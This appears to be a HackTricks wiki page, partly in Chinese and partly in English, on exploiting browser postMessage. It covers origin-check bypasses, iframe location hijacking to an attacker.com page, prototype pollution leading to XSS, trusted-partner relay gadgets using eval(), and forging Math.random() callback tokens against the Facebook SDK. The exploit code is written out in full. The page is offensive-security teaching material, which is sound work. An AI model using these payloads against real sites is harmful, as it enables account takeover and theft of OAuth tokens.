PostMessage 漏洞

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

发送 PostMessage

PostMessage 使用下列函数发送消息:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

注意 targetOrigin 可以是 ‘*’ 或像 https://company.com. 这样的 URL。
第二种情况 下,消息只能发送到该域(即使 Window 对象的 origin 不同)。
如果使用 wildcard消息可能会发送到任何域名,并将发送到 Window 对象的 origin。

攻击 iframe 与 targetOrigin 中的 wildcard

this report 所述,如果你发现一个可以被 iframed(没有 X-Frame-Header 保护)且通过 postMessage 使用 wildcard (*) 发送敏感 消息的页面,你可以 修改 iframeorigin,并 leak敏感 消息 到由你控制的域名。
注意,如果页面可以被 iframed,但 targetOrigin 被设置为某个 URL 而不是 wildcard,那么这个 技巧将不会生效

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener 利用

addEventListener 是 JS 用来声明会 接收 postMessages 的回调函数。
将使用类似下面的代码:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)
  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements –> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted attribute is considered secure as it returns True only for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.
  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won’t perform as expected. This is demonstrated in the examples below:

  • Expected Failure:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Bypassing the escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

Origin-only trust + trusted relays

If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:

  • Open the victim page in a popup/iframe that has an opener so its handlers register (many pixels/SDKs only attach listeners when window.opener exists).
  • Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
  • Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.

Abuse patterns seen in the wild:

  • Analytics SDKs (e.g., pixel/fbevents-style) consume messages like FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and include location.href / document.referrer in the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page.
  • Any relay that reflects arbitrary fields into postMessage lets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.

Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

你可以通过创建一个 iframe(该 iframe sends postMessage 并在发送后immediately deleted)来强制将消息的 e.source 设为 null。

更多信息 阅读:

Bypassing SOP with Iframes - 2

X-Frame-Header 绕过

为理想地执行这些攻击,你需要能够将受害者网页放入一个 iframe。但像 X-Frame-Header 这样的 header 可能会阻止这种行为
在这种情况下,你仍然可以使用不那么隐蔽的攻击。你可以在新标签页打开易受攻击的 web 应用并与其通信:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

通过阻止主页面窃取发送给子 iframe 的消息

在下面的页面中你可以看到如何在发送数据之前,通过阻止****主页面并滥用子页面中的XSS,从而窃取发送到子 iframe敏感 postmessage 数据,并在其被接收之前leak这些数据:

Blocking main page to steal postmessage

通过修改 iframe 的 location 窃取消息

如果你能 iframe 一个没有 X-Frame-Header 的网页且该网页包含另一个 iframe,你可以更改该子 iframe 的 location,因此如果它正在接收使用 postmessage 且带有 wildcard 发送的消息,攻击者可以更改该 iframe 的 origin 为由其控制的页面并steal该消息:

Steal postmessage modifying iframe location

postMessage to Prototype Pollution and/or XSS

在通过 postMessage 发送的数据会被 JS 执行的场景中,你可以 iframe 该页面并通过 postMessage 发送利用载荷来利用 Prototype Pollution/XSS

可以在以下链接中找到一些通过 postMessage 非常清晰解释的 XSS示例: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

下面是一个通过向 iframe 发送 postMessage 来滥用 Prototype Pollution 然后触发 XSS 的 exploit 示例:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

如需 更多信息

基于 origin 的脚本加载与供应链 pivot(CAPIG 案例研究)

capig-events.js only registered a message handler when window.opener existed. On IWL_BOOTSTRAP it checked pixel_id but stored event.origin and later used it to build ${host}/sdk/${pixel_id}/iwl.js.

处理器写入 attacker-controlled origin ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. 获取一个 opener:例如,在 Facebook Android WebView 中复用 window.name,配合 window.open(target, name) 使窗口成为自己的 opener,然后从恶意 iframe 发送消息。
  2. 从任意 origin 发送 IWL_BOOTSTRAP,将 host = event.origin 持久化到 localStorage
  3. 在任何被 CSP 允许的 origin 上托管 /sdk/<pixel_id>/iwl.js(在被列入白名单的 analytics 域上进行 takeover/XSS/上传)。随后 startIWL() 会在嵌入站点(例如 www.meta.com)中加载攻击者的 JS,从而启用凭证化的跨域调用并导致账号接管。

如果无法直接控制 opener,妥协页面上的第三方 iframe 仍然可以向父页面发送精心构造的 postMessage,污染已存储的 host 并强制加载该脚本。

后端生成的共享脚本 → stored XSS: 插件 AHPixelIWLParametersPlugin 将用户规则参数拼接到追加到 capig-events.js 的 JS 中(例如 cbq.config.set(...))。注入像 "]} 这样的 breakout 会插入任意 JS,从而在作为共享脚本提供给所有加载它的站点时产生 stored XSS。

Trusted-origin 白名单不是边界

严格的 event.origin 检查只有在 trusted origin 无法运行攻击者的 JS 时才有效。当有高权限页面嵌入第三方 iframe 并假定 event.origin === "https://partner.com" 是安全的,partner.com 中的任何 XSS 都会成为通向父页面的桥梁:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

在实际环境中观察到的攻击模式:

  1. 利用合作方 iframe 中的 XSS 并植入一个 relay gadget,使得任何 postMessage 在 trusted origin 内变为 code exec:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. 从攻击者页面,向被攻陷的 iframe 发送 JS,使其将一个被允许的消息类型转发回父页面。该消息来源于 partner.com,通过 allowlist,并携带被不安全插入的 HTML:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. 父页面注入攻击者 HTML,从而在父 在父 origin 中的 JS 执行(例如 facebook.com),进而可以用来窃取 OAuth codes 或转向完全的账户接管流程。

Key takeaways:

  • Partner origin isn’t a boundary:在“受信任”的合作方中出现的任何 XSS 都允许攻击者发送被允许的消息并绕过 event.origin 检查。
  • 处理器如果 render partner-controlled payloads(例如在特定消息类型上使用 innerHTML)会使对合作方的妥协变成 same-origin DOM XSS。
  • 宽泛的 message surface(多种类型、没有结构校验)在合作方 iframe 被攻破后会提供更多用于 pivoting 的 gadgets。

在 postMessage 桥中预测 Math.random() 回调令牌

当消息校验使用由 Math.random() 生成的“共享密钥”(例如 guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }),且相同的 helper 也用于命名 plugin iframes 时,你可以恢复 PRNG 输出并伪造受信任的消息:

  • Leak PRNG outputs via window.name: SDK 会用 guid() 自动命名 plugin iframes。如果你控制顶层 frame,将受害者页面放到 iframe 中,然后把 plugin iframe 导航到你的 origin(例如 window.frames[0].frames[0].location='https://attacker.com')并读取 window.frames[0].frames[0].name,就能获得原始的 Math.random() 输出。
  • Force more outputs without reloads: 有些 SDK 暴露 reinit 路径;在 FB SDK 中,触发 init:post 并带 {xfbml:1} 会强制 XFBML.parse(),销毁并重建 plugin iframe,并生成新的 names/callback IDs。重复 reinit 可产生所需数量的 PRNG 输出(注意为 callback/iframe ID 的内部额外 Math.random() 调用,因此求解者需跳过中间值)。
  • Trusted-origin delivery via parameter pollution: 如果某个 first-party plugin 端点将未清理的参数反射到跨窗口 payload(例如 /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET),你可以在保留受信任的 facebook.com origin 的情况下注入 &type=...&iconSVG=...
  • Predict the next callback: 将泄露的 iframe 名称转换回 [0,1) 区间的浮点数,并把若干值(即便非连续)喂入 V8 的 Math.random 预测器(例如基于 Z3 的)。在本地生成下一个 guid(),以伪造预期的回调令牌。
  • Trigger the sink: 构造 postMessage 数据,使桥接分发 xd.mpn.setupIconIframe 并在 iconSVG 中注入 HTML(例如 URL 编码的 <img src=x onerror=...>),在承载 origin 内实现 DOM XSS;随后可以读取 same-origin iframes(如 OAuth dialogs、arbiters 等)。
  • Framing quirks help: 该链需要 framing。在一些移动 webview 中,当存在 frame-ancestorsX-Frame-Options 可能降级为不受支持的 ALLOW-FROM,而“compat”参数可能强制宽松的 frame-ancestors,从而启用 window.name 侧通道。

最小伪造消息示例

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks